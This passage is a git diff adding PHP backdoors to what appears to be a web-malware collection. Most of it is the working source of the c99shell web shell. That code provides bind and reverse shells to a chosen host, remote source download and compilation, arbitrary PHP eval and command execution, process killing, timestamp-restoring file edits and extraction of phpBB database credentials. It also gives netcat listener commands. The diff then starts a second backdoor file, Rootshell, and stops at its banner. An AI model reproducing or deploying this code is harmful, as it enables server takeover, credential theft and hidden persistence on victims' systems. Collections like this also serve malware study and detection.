$srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("[hex]","info"), + array("[html]","html"), + array("[txt]","txt"), + array("[Code]","code"), + array("[Session]","phpsess"), + array("[exe]","exe"), + array("[SDB]","sdb"), + array("[gif]","img"), + array("[ini]","ini"), + array("[download]","download"), + array("[rtf]","notepad"), + array("[change]","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;[$ext]&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by redhat. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\">icq</a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://ccteam.ru"><font color="#FF0000">http://ccteam.ru</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Rootshell.v.1.0.txt b/web-malware-collection-master/Backdoors/PHP/Rootshell.v.1.0.txt new file mode 100755 index 0000000..bd032c3 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Rootshell.v.1.0.txt @@ -0,0 +1,246 @@ +<!-- +/* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ +/* ................jdWMMMMMNk&,...JjdMMMHMMHA+................ */ +/* .^.^.^.^.^.^..JdMMMBC:vHMMNI..`dMMM8C`ZMMMNs...^^.^^.^^.^^. */ +/* ..^.^..^.....dMMMBC`....dHNn...dMNI....`vMMMNy.........^... */ +/* .....^..?XMMMMMBC!..dMM@MMMMMMM#MMH@MNZ,^!OMMHMMNk!..^...^. */ +/* ^^.^..^.`??????!`JdN0??!??1OUUVT??????XQy!`??????!`..^..^.^ */ +/* ..^..^.....^..^..?WN0`` ` +llz:` .dHR:..^.......^..^... */ +/* ...^..^.^.^..^...`?UXQQQQQeyltOOagQQQeZVz`..^.^^..^..^..^.. */ +/* ^.^..^..^..^..^.^..`zWMMMMH0llOXHMMMM9C`..^.....^..^..^..^. */ +/* ..^..^...^..+....^...`zHHWAwtltwAXH8I....^...?+....^...^..^ */ +/* ...^..^...JdMk&...^.^..^zHNkAAwWMHc...^.....jWNk+....^..^.. */ +/* 